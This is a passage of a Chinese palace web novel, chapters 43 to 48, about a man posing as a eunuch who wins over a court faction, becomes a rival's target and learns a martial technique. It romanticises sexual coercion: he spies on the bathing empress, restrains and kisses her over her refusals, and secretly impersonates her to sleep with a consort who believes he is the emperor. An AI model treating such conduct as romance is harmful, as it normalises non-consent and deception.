《女帝太开放,我的假太监马甲不保》 第四十三章 去趟司马府 上官瑾一愣,这突如其来的亲昵让她有些不适应。但那份真挚的关心,却让她心头一暖。自父皇撒手人寰以来,还是第一次有人如此真心实意地关心她。 “你要去司马府?”上官瑾问道,声音中带着一丝不易察觉的失落。 “是啊,晚膳就不用等我了。”秦烨起身道,“为了给陛下拉拢人马,奴婢只能勤于周旋了,届时司马辉应该会留我吃饭。” 看着秦烨离去的背影,上官瑾心中莫名空落落的。这种感觉很陌生,让她有些不知所措。秦烨走出承明殿,伸了个懒腰,“沈化林,陪我去趟司马府。” “是,公子。”沈化林从阴影处走出,恭敬地应道。 两人沿着宫道缓步而行,脚步声在空旷的宫道上回荡。路过的宫女太监纷纷低头行礼,却又忍不住偷偷打量这位权倾朝野的男人。 “公子,”沈化林突然开口,“司马府那边已经打探清楚了。今晚确实有不少人在府上。” 秦烨点点头,“都有谁?” “武部侍郎柳守礼、仪部侍郎赵景守、典仪寺卿秦承武……”沈化林一一报来。 “看来司马辉是想借今晚的宴会,聚拢一批人啊。”秦烨眯起眼睛,嘴角勾起一抹意味深长的笑意。 “公子要小心。”沈化林提醒道,“司马府内高手众多。” 秦烨摆摆手,“无妨。今晚,就让他们见识见识,什么叫真正的高手。” 司马府的前厅内,人声鼎沸。 金碧辉煌的大厅中,锦衣华服的达官显贵们三三两两聚在一起,谈笑风生。茶香袅袅,觥筹交错间尽是奉承恭维之声。他们都在等待着一个机会,一个能见到司马辉的机会。 秦烨站在朱漆大门外,目光透过雕花门窗扫过厅内众人。这些人或是朝廷命官,或是富商巨贾,但此刻都只能在这里干等着。阳光斜斜地洒在门廊的青石板上,在地面投下细碎的光影。 “呵,司马辉啊司马辉,你还真是好大的架子。”秦烨心中暗笑,眼底闪过一丝玩味。 他整了整衣襟,迈步走进前厅,身后跟着一个随从。周围的人只是随意瞥了一眼这个衣着普通的年轻人,便收回目光继续他们的谈笑。 大厅内的空气略显闷热,混杂着各种香料的气味。秦烨微微皱眉,叫住一个匆匆路过的仆人:“劳烦通报一声,就说秦烨求见。” 那仆人穿着绣着司马家徽的青色短打,闻言上下打量了秦烨一眼,眼中闪过一丝不屑:“秦烨?你是哪个秦烨?” “司礼总管秦烨。” 此言一出,周围顿时响起一阵哄笑声。笑声在宽阔的大厅内回荡,显得格外刺耳。 “司礼总管?就你?”一个身着锦袍的年轻公子踱步走来,指着秦烨,笑得前仰后合,“我看你是在说梦话吧?就凭你这身打扮?” “就是,司马家主岂是你想见就能见的?”另一人也凑上前来,“我等候了大半日都未能见到家主一面,你倒好,张口就要见?” 秦烨神色平静,仿佛没听见这些嘲讽,只是看着那个仆人:“去通报吧。” 那仆人被周围人的笑声感染,挺直了腰板,一脸不屑:“家主日理万机,岂是什么阿猫阿狗都能见的?你若是识相,就赶紧离开。” “阿猫阿狗?”秦烨眯起眼睛,眼底闪过一丝寒意。大厅内的温度仿佛骤然降低了几分。 就在这时,一个熟悉的身影从内院的回廊处匆匆走来。老者身着管家服饰,头发花白,脸上带着岁月的痕迹。 “秦公子?”老赵快步走上前,恭敬地行礼,额头上沁出细密的汗珠,“您怎么来了也不提前说一声?老朽好去门口迎接。” 四周顿时鸦雀无声。 那些刚才还在嘲笑的人,此刻脸上的笑容全都凝固了。他们面面相觑,有人悄悄后退几步,想要远离是非。 “赵管家。”秦烨微微颔首,目光扫过那个仆人,“我本想让这位小哥通报一声,但他说我是阿猫阿狗,不配见司马家主。” 老赵脸色一沉,额头的青筋突突直跳:“来人!把他拉下去重打二十大板,发去后院做粗活!” 那仆人吓得双腿一软,跪地求饶:“赵管家饶命啊!小的有眼不识泰山……” “秦公子,主人此刻正在书房里接待贵客,我这就去通报。”老赵转身对秦烨说道,额头的汗珠更密了,“您先到偏厅稍坐,老朽这就让人备茶。” 秦烨点点头,跟着老赵往内院走去。青石板铺就的小径两旁,名贵的花木错落有致。 身后传来一阵窃窃私语。 “原来真是司礼总管……” “完了完了,刚才我还笑话他……” “这下可惹了大麻烦……” 秦烨嘴角微微上扬。这些人现在知道害怕了,可惜已经晚了。脚步声在回廊中回响,带着一丝若有若无的威压。 书房内,司马辉正与几位权贵谈话。檀木书案上摆着几盏香茗,茶香四溢。 “陛下最近对我司马家似有不满……”司马辉叹了口气,手指轻轻敲击着桌面。 这时老赵进来禀报:“家主,秦烨求见。” “秦烨?”秋官寺卿卫秋猛地站起身,“就是那个在玉华阁大出风头的小子?” “正是。”老赵低着头,不敢看卫秋阴沉的脸色。 “哼,一个小小的总管,也敢来司马府放肆?”卫秋冷哼一声,袖子一甩,“家主,此人狂妄自大,不可轻信……” 其他几位权贵也是面露不悦。那日在玉华阁,秦烨让他们的子侄颜面尽失,这个仇他们可都记着呢。有人握紧了拳头,有人眼中闪过怒火。 “这秦烨来此作甚?”端木眉头紧锁。 作为禁军总戎,执掌京师十万大军的三军,端木正向来眼高于顶。他祖上是开国功臣,如今更是贵为公爵,对一个小小太监自是不屑。 “端木大人何必动怒,这厮不过是个阉人罢了。”左都御史柳富贵放下手中的茶盏,冷笑着说道。自从玉华阁那日,秦烨让他们子侄出丑后,这些权贵对秦烨便心存芥蒂。 “是啊,一个太监而已,也配让端木大人动气?”秋官寺卿卫秋附和道,眼中闪过一丝轻蔑。 司马辉端坐在主位上,听着众人的议论,轻轻摆了摆手:“诸位莫要轻视,此人可是陛下身边红人。”他转头对站在一旁的老管家吩咐道:“老赵,去请秦公子进来。” 老赵躬身应是,快步而去。柳富贵等人虽心有不满,却也不好多说什么,只得黑着脸坐在那里。书房内一时陷入沉默,只有茶香袅袅升起。 不多时,脚步声由远及近。秦烨跟随老赵穿过回廊,来到司马府的书房。推门而入,只见司马辉正与几位官员围坐在案几旁,烛光映照下,几人的面容忽明忽暗。 “叔父大人。”秦烨拱手见礼,声音清朗。 “哈哈,贤侄来访,甚好甚好。”司马辉笑着起身相迎,目光中带着几分审视,“许久不见,今日来此有何要事?” 第四十四章 举荐司马无畏 “无事不登三宝殿,今日确有一事相商。”秦烨微笑道,目光扫过在座诸人。 “请坐请坐。”司马辉做了个请的手势,又向秦烨介绍道:“这位是禁军总戎端木正端木大人。” 端木正只是冷哼一声,连个眼天京懒得给,手中的茶盏重重放在桌上,发出一声闷响。 “这位是左都御史柳富贵郭大人。” 柳富贵勉强点头示意,眼中的不屑几乎要溢出来。 “这位是秋官寺卿卫秋卫大人。” 卫秋倒是客气地拱了拱手,但眼角的笑意却未达眼底。 秦烨不卑不亢地一一回礼,目光却若有若无地落在案几上摊开的卷宗上。那些纸张上密密麻麻写满了字迹,边角还有不少批注。 “诸位大人在议事?”秦烨状似随意地问道。 “正在商议云州大将军人选。”司马辉叹了口气,眉宇间浮现出几分愁绪。 秦烨眼中精光一闪:“不知诸位大人意下如何?” “哼,军国大事,就凭你?也想横插一脚?做梦呢!?”端木正猛地站起身来,袖子一挥,茶水洒落在地。 秦烨不以为意,转向司马辉道:“叔父,依侄儿之见,司马无畏兄长最为合适。” “无畏确实是不二人选。”柳富贵摇头道,手指轻轻摩挲着茶杯边缘,“可惜陛下不愿启用。” “是啊。”卫秋也叹息道,“端木公子虽也不错,但武道修为差了些。”话音未落,便感受到端木正投来的冰冷目光。 端木正闻言脸色一沉,拳头攥得咯咯作响,却无法反驳。他儿子的武道天赋确实平平,这是众所周知的事实。 司马辉看了看窗外渐暗的天色,苦笑道:“陛下对我司马氏防备甚深,此事怕是难了。” 秦烨嘴角微扬:“叔父莫急,事在人为,我已在陛下面前极力推荐了无畏兄长。” “你一个阉人,懂什么?”端木正冷笑着,眼中闪过一丝狠厉,“莫要在这里装腔作势。” 秦烨目光如电,直视端木正:“我虽是太监,但在此事上,比你更有用。” “大胆!”端木正勃然大怒,一掌拍在桌上,茶盏翻倒,茶水四溅。 “贤侄此话何意?”司马辉连忙打圆场,同时给了端木正一个安抚的眼神。 秦烨正欲开口,忽听外面传来急促的脚步声,由远及近。 老赵快步进来,脸上带着几分惊慌,在司马辉耳边低语几句。 司马辉面色一变:“圣旨到?” 书房内众人齐齐起身,衣袍簌簌作响。烛光摇曳,在墙上投下晃动的影子。 只见一名太监捧着明黄色圣旨大步而入,身后跟着几名内侍。他站定后,高声宣读:“奉天承运皇帝诏曰:今云州边境事务繁重,需得能臣镇守。兹命司马无畏为云州大将军,即日启程赴任……” 宣读完毕,书房内一片寂静。众人面面相觑,皆是不敢置信。端木正的脸色由红转青,额头上青筋暴起。柳富贵和卫秋也是神色复杂,目光不停在秦烨和司马辉之间游移。 司马辉更是震惊地看向秦烨,眼中满是难以置信。这个结果,完全出乎他的意料。 秦烨微微一笑:“叔父,我说过,在此事上,我比某些人更有用。” 端木正的脸色瞬间阴沉下来,眼角跳动,一股怒气直冲脑门。他死死盯着眼前这个不知天高地厚的年轻太监,咬牙切齿道:“你这是在找死!” 秦烨站在那里,神色从容。他的目光扫过端木正那张因愤怒而扭曲的脸,嘴角微微上扬,眼中闪过一丝戏谑。大殿内的阳光透过窗棂斜斜洒落,在他身上镀上一层淡金色的光晕。 “成国公,您这话说得可就不对了。”秦烨不紧不慢地说道,声音不疾不徐,“在这朝堂之上,谁不知道您是位高权重的勋贵?可惜啊,这次的事情,恐怕还真轮不到您来做主。” 端木正的拳头攥得咯咯作响,青筋在他粗壮的手臂上蜿蜒盘踞。他的胸膛剧烈起伏,显然在极力压抑着怒火。“一个阉人,也敢在本官面前如此放肆?” “阉人?”秦烨轻笑一声,眼底闪过一丝不易察觉的冷意,“在下虽是太监,但至少还能为陛下分忧。倒是某些人,徒有虚名,连一点小事都办不成。” 这话说得极为刁钻,端木正的脸色更加难看,额头上的青筋突突直跳。大殿内的气氛顿时凝重起来,仿佛随时会爆发一场激烈的冲突。 司马辉站在一旁,眼中精光闪烁。作为朝中老臣,他一眼就看出秦烨言语中的深意。这个年轻太监,显然是有所依仗。他暗自思忖,这秦烨能在端木正面前如此放肆,背后必定有不简单的靠山。 “诸位大人,”司马辉适时开口,声音温和地打圆场,“后园已备下酒宴,不如移步一叙?今日难得聚在一起,何必为些小事伤了和气?” 卫秋一直在旁边看着这场剑拔弩张的对峙,此时听到“酒宴”二字,顿时来了精神。他搓了搓手,笑眯眯地问道:“司马大人,可有松鼠桂鱼?那可是我的最爱。” “自然备了。”司马辉微笑道,“还特意让厨子多做了几条。” “那敢情好!”卫秋眼睛一亮,起身就往外走,“我先去占个位置,可不能让别人抢了去。”说着,他那圆滚滚的身影已经消失在门口。 端木正冷哼一声,袖子一甩,大步流星地离开了大殿。他的背影透着一股难掩的怒气,脚步声在空旷的殿内回响。 其他官员见状,也纷纷告退。很快,偌大的殿内就只剩下了司马辉和秦烨两人。 司马辉转向秦烨,目光中带着几分探究:“贤侄此来,所为何事?” “蛊。”秦烨只吐出一个字,声音低沉而凝重。 司马辉的眉头瞬间紧锁,眼中闪过一丝忧虑:“可是查到什么线索了?” “不过是窥见一角。”秦烨轻叹一声,“但以小侄一己之力,恐难深入。故而想请大人相助。” “这是自然。”司马辉拍着胸脯保证,“蛊虫一事关系重大,老夫定当尽心调查。” 秦烨微微一笑:“那小侄就先谢过大人了。至于云州之事……” “贤侄放心,老夫明白。”司马辉打断道,“不过是举手之劳。” “叔父大人误会了。”秦烨正色道,目光坚定,“无畏兄确实是云州最佳人选,这并非权宜之计。” 司马辉眼中闪过一丝诧异,随即笑道:“既如此,那就有劳贤侄在陛下面前美言几句了。”虽然嘴上这么说,但他心里并不抱太大希望。一个太监的话,能有多大分量?不过这个秦烨,倒是个可造之材。若非他是个太监,倒真想收为义子。 “贤侄,后园已备下酒宴,一同前去如何?” “叔父相邀,自当奉陪。” 后园中,花香四溢,微风拂面。端木正坐在一处凉亭内,一口饮尽杯中酒,咬牙切齿道:“真是世风日下,区区太监也敢如此放肆!” 第四十五章 陛下在沐浴 “成国公何必动怒?”左都御史柳富贵笑道,“这秦烨虽是太监,但确实有几分本事。先是在玉华阁让柔木氏公主开怀,又能成为陛下面前的大红人,倒也不是寻常人物。” “哼!”端木正正要发作,忽见司马辉领着秦烨走来。 “贤侄请坐。”司马辉热情招呼。 “身为朝廷重臣的我,岂能与阉人同席?”端木正腾地站起,脸上写满了不屑。 “成国公息怒……”卫秋放下手中的松鼠桂鱼,连忙劝道。 端木正却不理会,冷声道:“司马兄,我酒意上头,先行告退。”说完拂袖而去,背影透着一股说不出的怒气。 “成国公怕是醉了。”卫秋打着圆场,又夹了一块鱼肉送入口中。 司马辉虽有不悦,但还是对秦烨笑道:“贤侄莫要介意。” “无妨。”秦烨淡然一笑,举杯饮酒。 酒过三巡,菜过五味,宾主尽欢。园中的花香与美酒的醇香交织在一起,让人心旷神怡。 待到夜深,秦烨告辞回宫。月光如水,洒在青石板路上,映出他修长的身影。 承明殿内,寝殿的浴室中,上官瑾正在沐浴。温热的水汽氤氲,她那完美的身段若隐若现,空气中弥漫着淡淡的花香。水珠顺着她如玉的肌肤滑落,在烛光下闪烁着诱人的光芒。 秦烨来到殿外,习惯性地抬手欲叩门,却想起今日陛下的吩咐,便直接推门而入。守在外面的太监们看到这一幕,不禁羡慕。也只有秦公公,才有这样的殊荣了。 然而进入大殿后,秦烨却发现殿内空无一人。烛火摇曳,在墙上投下跳动的影子。他四处寻找,却不见上官瑾的身影。 “奇怪,人去哪了?”秦烨喃喃自语,眉头微皱。殿内安静得出奇,只能听见他的脚步声在地板上轻轻回响。 秦烨漫步在承明殿内,目光四处搜寻着女帝的身影。宫殿内檀香袅袅,烛光摇曳,却不见那道熟悉的身影。 他先是走向书房,案几上的奏折整齐摆放,朱砂印泥依旧温热,显然女帝刚刚才批阅完毕。茶盏中的茶水尚有余温,氤氲的水汽在空气中缓缓散开。 床榻上锦被整齐,枕头上还留有一丝淡淡的发香。秦烨伸手抚过床榻,丝绸的触感柔滑,仿佛还能感受到那人的余温。 “陛下这是躲到哪里去了?”他轻声自语,眉头微蹙。 就在这时,一阵轻微的水声传入耳中,伴随着若有若无的兰花香气。声音从内室传来,秦烨眼中闪过一丝了然。 “原来在这里。”他嘴角勾起一抹意味深长的笑意,“看来是撞见了陛下沐浴的好时机。” 水汽氤氲的浴室内,上官瑾慵懒地靠在池边,任由温热的水流包裹着她的身体。她修长的玉腿时不时撩动着池中的花瓣,溅起细小的水花。 青丝如瀑般散落,衬得那张倾城容颜更添几分魅惑。平日里束缚的裹胸早已褪去,露出那傲人的曲线。她轻轻揉按着胸前,试图缓解一整天紧束的不适。 “啧,这该死的礼服。”她低声抱怨着,完全没有察觉到暗处那双带着笑意的眼睛。 秦烨站在门外,透过薄薄的纱帘,将这难得一见的美景尽收眼底。他的呼吸不自觉地加重了几分,喉结轻轻滚动。 突然,一块木板发出轻微的“吱呀”声。 “谁?”上官瑾警觉地抬头,迅速沉入水中,只露出一张俏脸。她的眼中闪过一丝戒备,“是哪个不长眼的奴才,竟敢擅闯朕的浴室?” “是我,陛下。” 秦烨索性推门而入,大大方方地站在池边。烛光映照下,他的身影在水面上投下一道修长的阴影。 “你……你怎么这么快就回来了?”上官瑾俏脸微红,声音中带着几分慌乱。她下意识地往水中又沉了几分。 “司马家的事情已经办妥,自然要赶回来向陛下复命。”秦烨笑着打量着眼前的美人,“不过看这情形,陛下似乎很期待我回来?” “胡说八道!”上官瑾恼羞成怒,“还不快出去!” 水花四溅中,她想要起身去拿浴巾,却又顾忌着眼前的男人,只能尴尬地停在原地。 “陛下不是说过,让我进出承明殿不必通报吗?”秦烨不紧不慢地说道,目光却始终没有离开水中的倩影。 “那是……那是我一时糊涂了!”上官瑾咬着红唇,“你若再不出去,朕就叫侍卫了!” “陛下确定要在这种情况下叫人进来吗?” 上官瑾语塞,她此刻的模样要是被外人看到,这后宫还不知道要传出什么闲言碎语。 秦烨看着她窘迫的模样,心中暗笑,却也不再多做纠缠,“那臣就在外面恭候陛下。” 他转身走出浴室,却并未走远,而是靠在门边等待。没过多久,上官瑾便披着一件单薄的睡袍走了出来。 青丝还带着水汽,几滴水珠顺着发梢滑落,在锁骨处汇聚成溪。胸前的曲线在薄纱下若隐若现,比他见过的任何美人都要惊人。 【比司马玉华和陈雅韵的都要出色。】秦烨忍不住在心中感叹。 “你在看什么?”上官瑾察觉到他灼热的目光,俏脸一红。她抬脚就要踢向秦烨,却忘了自己根本不是他的对手。 秦烨轻松地擒住她的玉足,手指不经意间划过她的脚踝,“陛下这是要踢哪里啊?” “哼,朕想踢哪里就踢哪里!”上官瑾挣扎着,却被秦烨一把搂入怀中。他的体温透过薄薄的睡袍传来,让她不自觉地颤栗。 “陛下要是把那里踢坏了,可就没人伺候您了。”秦烨在她耳边低语,温热的气息拂过她的耳垂。 “谁、谁要你伺候了!”上官瑾羞恼交加,却无法挣脱秦烨的怀抱。她能感觉到他的手掌正不安分地游走,“你这个登徒子,快放开朕!” “陛下的身材当真是绝佳。”秦烨的手掌在她腰间流连,感受着那盈盈一握的柔软。 “放开朕!”上官瑾挣扎得更加厉害,却只是让自己的睡袍更加凌乱。 “陛下现在还能动的地方,只剩下这张小嘴了。”秦烨说着,俯身吻向她的红唇。 上官瑾慌忙偏头,他的吻落在了她雪白的颈间。温热的唇瓣在她颈间流连,激起一阵酥麻。 “陛下躲什么?” “朕才不要和你……唔……”话未说完,秦烨已经在她颈间轻咬一口,留下一枚暧昧的红痕。 “你、你做什么?”上官瑾慌乱地推开他,跑到镜前。 “给陛下留个印记。”秦烨笑着说道,“让陛下记住,这承明殿里,不只有一个主人。” 上官瑾的脸色瞬间变得煞白,纤细的手指不自觉地抚上脖颈处那一抹暧昧的红痕。殿内烛火摇曳,在她白皙的肌肤上投下斑驳的光影。 “秦烨,你这是在干什么?”她的声音里带着一丝颤抖,眼神中闪过慌乱与恼怒交织的复杂情绪。 第四十六章 凶多吉少 秦烨倚在朱漆雕花的柱子上,嘴角勾起一抹玩味的笑意,“谁让陛下不让我亲的?这下好了,脖子上留下了印记。”他的目光肆无忌惮地在上官瑾身上游走,仿佛在欣赏自己的杰作。 “你……你……”上官瑾气得说不出话来,玉足在地上跺了几下,华贵的龙袍下摆随着她的动作轻轻晃动。殿内檀香缭绕,更添几分旖旎暧昧的气息。 她深吸一口气,压低声音道:“你这让朕如何面对朝臣?他们若是看到了这个,该作何想?”眉宇间染上一抹愁色,手指不自觉地绞着衣袖。 “看到了又如何?”秦烨不以为然地耸耸肩,迈着悠闲的步子向她走去,“就当是陛下与宫中嫔妃欢好时留下的痕迹便是。再说,这深宫内院,谁敢多嘴多舌?” 上官瑾闻言更是恼怒,粉拳朝着秦烨胸口砸去。她的动作看似凌厉,却带着几分刻意放轻的力道,仿佛是在撒娇多过发怒。 秦烨眼疾手快,一把攥住她的手腕。两人距离瞬间拉近,他能清晰地看到她眼中的慌乱,以及那一抹藏不住的娇羞。烛光下,她的睫毛微微颤动,像是惊慌的蝴蝶。 “要不要再来几个?”秦烨坏笑着凑近,温热的呼吸拂过她的耳畔。 “不行!”上官瑾慌忙后退,这才意识到自己大意了。靠近这头色狼,简直就是羊入虎口。可惜已经晚了,她的后背抵上了冰凉的宫墙,再无退路。 秦烨的身影笼罩而来,她再也无处可逃。殿内的烛火似乎变得更加暧昧,将两人的影子拉得很长很长…… 夜色渐深,宫墙之外的汴城依旧灯火通明。 御医署内,一盏孤灯在药炉旁摇曳。赵马康正专注地配制着药材,神情格外凝重。药炉中的汤药咕嘟咕嘟冒着泡,散发出浓郁的药香。 “啪嗒、啪嗒……” 脚步声由远及近,一个小童快步走进来,衣衫略显凌乱,显然是一路跑来的。他对着赵马康深深一揖,气喘吁吁地说道:“院长,秦武德还是没找到。自从今日送完药后,就像人间蒸发了一般。” 赵马康手上的动作一顿,眉头微皱。药勺轻轻搅动着炉中的汤药,发出细微的声响。 小童忧心忡忡道:“院长,我族叔他……该不会出事了吧?”声音中带着掩饰不住的担忧。 “怕是凶多吉少。”赵马康叹了口气,目光落在跳动的火苗上,“他今日是和秦烨一同出去的?” “正是。”小童咬牙切齿,拳头攥得指节发白,“这个秦烨,简直贪得无厌!明明已经得到那么多好处,却还要……” 赵马康冷笑一声,打断了小童的话:“你族叔秦武德也好不到哪去。多半是私吞了秦烨的好处,又说了些不该说的话,这才惹来杀身之祸。” “可是……”小童脸色一变,额头渗出细密的汗珠。他当然知道族叔确实吞了秦烨的好处,但这也不能成为杀人的理由。 “这秦烨也太猖狂了!”小童愤愤不平地说道,声音中带着几分恐惧。 “确实不能让他如此嚣张下去。”赵马康眼中闪过一丝寒光,将药勺放在一旁的托盘上,发出清脆的声响,“对了,成国公那边如何?” “差点忘了!”小童连忙道,“成国公已经答应合作,只是想请院长亲自过去谈谈。他说这事关重大,必须当面详谈。” 赵马康立刻起身,整了整衣袍:“这些药材你来看着,我立刻动身,拜见成国公大人。记住,炉火要控制得当,药材的火候一点都马虎不得。” 成国公府。 灯火通明的后园中,浓郁的酒气扑面而来。端木正独自一人坐在凉亭里,面前摆着几个空酒坛,还有一碗醒酒汤。 赵马康眉头一挑,看来端木正今日心情确实不佳。他缓步走进凉亭,开口道:“成国公。” “赵兄请坐。”端木正端着醒酒汤,脸色阴沉如水。月光下,他的面容显得格外憔悴。 “成国公今日为何独饮?”赵马康在石凳上坐下,目光落在那些东倒西歪的酒坛上。 “哼!”端木正将醒酒汤重重摔在地上,瓷碗碎裂的声响惊起几只夜鸟,“还不是因为那个该死的太监秦烨!” 他将今日在司马府发生的事情一五一十地说了出来,说到激动处,脸上青筋暴起,手指狠狠地掐进掌心。 “皇上靠不住,司马家也靠不住。现在这些阉人都敢骑在我们头上作威作福了!”端木正咬牙切齿地说道,眼中闪烁着愤怒的火光。 赵马康眼中精光一闪:“正因如此,我们更要同气连枝。这世道,一个人的力量终究有限。” “说得对。”端木正重重点头,酒意似乎也清醒了几分。 “那么,我倒是有个除掉秦烨的妙计,就当是合作的见面礼。”赵马康压低声音,目光在四周扫视一圈。 端木正眼睛一亮,身子不自觉地前倾:“愿闻其详。” “秦烨一直在宫中倒卖御库物品,收取高额回扣。上任司礼总管短短数日,贪污数额惊人。只要成国公上本弹劾,有了铁证在手,他必死无疑。”赵马康从袖中取出一叠文书,轻轻放在石桌上。 “这些罪证……”端木正小心翼翼地翻看着文书,眼中的惊喜越来越浓。 “就当是我送给成国公的礼物。”赵马康淡淡一笑。 端木正大喜过望:“多谢赵兄!有了这些,定要让那秦烨死无葬身之地!” 赵马康嘴角勾起一抹冷笑。月光下,他的眼神晦暗不明。 秦烨,这次看你如何脱身。至于端木正,不过是他手中的一枚棋子罢了。这种蠢货,最适合当枪使。 夜色如墨,笼罩着整座皇宫。深秋的寒意悄然渗透入宫墙内外,偶有几片枯黄的落叶随风飘落,在青石板上打着旋儿。承明殿内灯火通明,檀香袅袅。十几盏琉璃宫灯将殿内照得一片明亮,映衬着那些精美的雕梁画栋,更显富丽堂皇。 上官瑾正伏案批阅奏章,纤细的手指不时翻动着厚重的纸张。她身着一袭明黄色龙袍,乌黑的秀发高高挽起,发间点缀着几颗明珠,愈发衬托出那张倾城容颜。 今夜她没有翻牌子,倒是难得的清净。案头堆积如山的奏折,却让她眉宇间蒙上一层淡淡的疲惫。 秦烨斜倚在一旁的软榻上,手中捧着一本泛黄的秘籍,眉头紧锁。烛光在他脸上投下明暗不定的光影,衬得他的神情愈发深沉。 这是一本名为《七星养气诀》的武学秘籍,纸张已经泛黄发脆,边角处还有些许残损。字迹虽然依稀可辨,但也因年代久远而显得有些模糊。 作为一名医者,他的医术自然是不在话下。但说到武功修为,却着实有些寒碜。虽说对付上官瑾这样的女子绰绰有余,但若是遇上江湖上那些真正的高手,恐怕就要吃亏了。 “想要练成这门绝学,哪有那么容易,若想成功,必先……” 第四十七章 少管闲事 秦烨目光在这行字迹上停留许久,手指不自觉地摩挲着纸张边缘。忽然,一个可怕的念头在脑海中闪过。 莫非是要自宫? 这念头刚一冒出来,他就忍不住打了个寒颤,浑身的汗毛都竖了起来。下意识地并拢双腿,手中的秘籍都差点掉在地上。 “怎么了?”上官瑾察觉到他的异样,抬起头问道。 秦烨没有回答,赶紧翻到下一页。当看清上面写着“打通玄阳心脉”时,他顿时松了一口气,紧绷的身体也随之放松下来。 “没什么,继续看你的奏章。”他摆了摆手,重新将注意力集中在秘籍上。 原来这七星养气诀共分九重,每一重都需要打通体内的经脉。而玄阳心脉,不过是最基础的开始。秘籍上详细记载了修炼的步骤和注意事项,还有前人的心得体会。 “寻常人穷其一生,连第一层境界都卡得死死的……” “即便是天赋绝顶的武道天才,打通玄阳心脉也需一年……” 看着这些批注,秦烨陷入沉思。殿内一时寂静无声,只有上官瑾翻动奏章的细微声响。 突然,他眼前一亮,猛地坐直了身子。 既然是打通经脉,那不正是他最擅长的领域吗?针灸之术,通经活络,这不正是现成的捷径? 想到这里,秦烨站起身来,开始在殿内来回踱步。脚步声在空旷的大殿内回响,惊动了正在批阅奏章的上官瑾。 “你这是怎么了?”上官瑾放下手中的朱笔,美眸中带着关切。 “女人家的,少管闲事。”秦烨故作威严道,但眼中却闪过一丝兴奋的光芒。 上官瑾轻哼一声,低头继续批阅奏章。但余光却始终注意着秦烨的动静。 秦烨开始按照秘籍上的要求,演练起来。他的动作并不快,每一个姿势都力求准确。渐渐地,他感觉体内有一股暖流在缓缓流动。 片刻之后,他开始解衣。 “你……你这是做什么?”上官瑾俏脸通红,慌忙别过头去。 “练功啊。”秦烨一边说着,一边从袖中取出银针。这些银针都是他平日里给人治病用的,此刻却要用在自己身上。 “你疯了不成?”上官瑾惊呼,“这深更半夜的,你要是出了什么意外……” “放心,我有分寸。”秦烨打断了她的话,“我过去好歹也是御医署院使,这点本事还是有的。” 说着,他开始在自己身上施针。每一根银针都精准地刺入穴位,配合着功法运转真气。 果然,在针灸之术的辅助下,经脉疏通得异常顺利。那些原本需要一年才能打通的经脉,在他的针法下变得畅通无阻。 上官瑾看得心惊肉跳,生怕他出什么意外。她放下奏章,站在一旁紧张地看着。 约莫一炷香的功夫,秦烨只觉体内一股暖流流转全身。那种感觉说不出的舒畅,仿佛浑身的毛孔都张开了一般。 “陛下,退后些。”秦烨突然开口提醒道。 上官瑾依言后退几步,美眸中满是担忧。 只见秦烨丹田一震,一股气劲迸发而出。插在他身上的银针纷纷飞出,发出“嗖嗖”的破空声,准确地钉入了殿内的梁柱之中。 “成了!”秦烨脸上露出喜色,额头上的汗珠在烛光下闪闪发亮。 这一次尝试,让他看到了希望。那些在秘籍上被描述为“难于登天”的修炼过程,在他这个医者手中,竟变得如此简单。 或许,这七星养气诀,并非如前人所说那般艰难。至少,对他来说不是。 “你没事吧?”上官瑾小心翼翼地问道,美眸中满是关切。 “放心,我好得很。”秦烨笑道,伸手将那些钉在梁柱上的银针一一取下,“不过这才是第一步,接下来还要继续修炼。” “那你小心些。”上官瑾叮嘱道,“若是觉得不适,一定要及时停下。” 秦烨点点头,开始穿衣。他能感觉到,体内的经脉比之前通畅了许多,真气运行也更加自如。 秦烨望着眼前的一幕,嘴角不自觉地扬起一抹笑意。经脉被打通后,他的五感变得异常敏锐,连空气中细微的尘埃都能清晰可见。秦烨能感受到体内真气流转,带来一阵阵暖意。 尤其是眼前这位刚刚和自己共赴云雨的美人,更是让他血脉喷张。上官瑾身着一袭淡青色宫装,衣襟微敞,露出白皙的锁骨,随着呼吸微微起伏。 秦烨眼神肆意地打量着眼前的美人,目光在她身上游走。修炼七星养气诀带来的变化不仅仅体现在武道上,更让他感受到一股难以抑制的冲动。 “秦烨,你,你又怎么了?”上官瑾察觉到秦烨炙热的目光,俏脸瞬间染上一抹红晕,连忙后退两步,“你别过来!”她的声音带着一丝颤抖。 秦烨嘴角勾起一抹邪魅的笑容:“你越是这样,我就越想靠近。”突破第一重境界后的秦烨,身法变得更加敏捷,三两步就追上了上官瑾。 殿内的气氛变得暧昧起来,空气中似乎都弥漫着一股燥热。上官瑾被秦烨逼到墙角,呼吸急促,胸口剧烈起伏。 “你刚才不是已经……”上官瑾刚要开口,一个柔美的声音从殿外传来,打破了这份暧昧。 “陛下,可以进来吗?”是司马玉华的声音,带着几分娇柔。 秦烨松开了手,上官瑾赶紧整理凌乱的衣衫,平复急促的呼吸。她的脸颊依旧泛着红晕,眼中还带着几分慌乱。 “爱妃有何事?”秦烨转身面向殿门,声音恢复了往日的威严。 “臣妾听说陛下今晚未曾翻牌子,担心陛下寂寞,特来侍寝……”司马玉华的声音透着几分羞涩。 上官瑾暗骂一声“浪蹄子”,却也明白司马玉华无意中救了自己。她瞪了秦烨一眼,示意他快去应付皇后。 秦烨却不依不饶:“我就要陛下。”他的声音压得极低,带着几分蛊惑。 “朕怎会看上你这样的奴婢!”上官瑾强装镇定,但耳根已经红透。 “是吗?”秦烨凑近上官瑾耳边,温热的气息喷洒在她的耳畔,“要不然,咱们三个一起?” “你……”上官瑾羞得说不出话来,玉手紧握成拳,却不知该打还是该推开他。 殿外的司马玉华又轻轻叩门:“陛下?” “进来吧。”上官瑾连忙应道,声音还带着几分颤抖。 秦烨见状,迅速躲到屏风后。屏风上绣着祥云瑞兽,在烛光下投下斑驳的影子。 司马玉华款款走入殿内,一袭红色宫装衬得她肤若凝脂。她看了看四周,似乎察觉到了什么异样,但并未多言。 夜色渐深,承明殿内灯火熄灭。司马玉华躺在龙塌上,等待沐浴的上官瑾归来。床帐轻轻摇曳,映着烛光投下暧昧的影子。 不多时,一道身影悄然上了龙塌。司马玉华轻唤一声“陛下”,来人没有说话,只是用行动回应。 第四十八章 状告秦烨 这一夜格外漫长。整整四个时辰后,司马玉华才沉沉睡去。而在一旁偷看了整晚的上官瑾,也是昏昏欲睡。 次日清晨,阳光透过窗棂洒入殿内。司马玉华春风满面地离开承明殿时,秦烨还在自己的房间里沉睡。而上官瑾强打精神去上早朝,眼底带着几分疲惫。 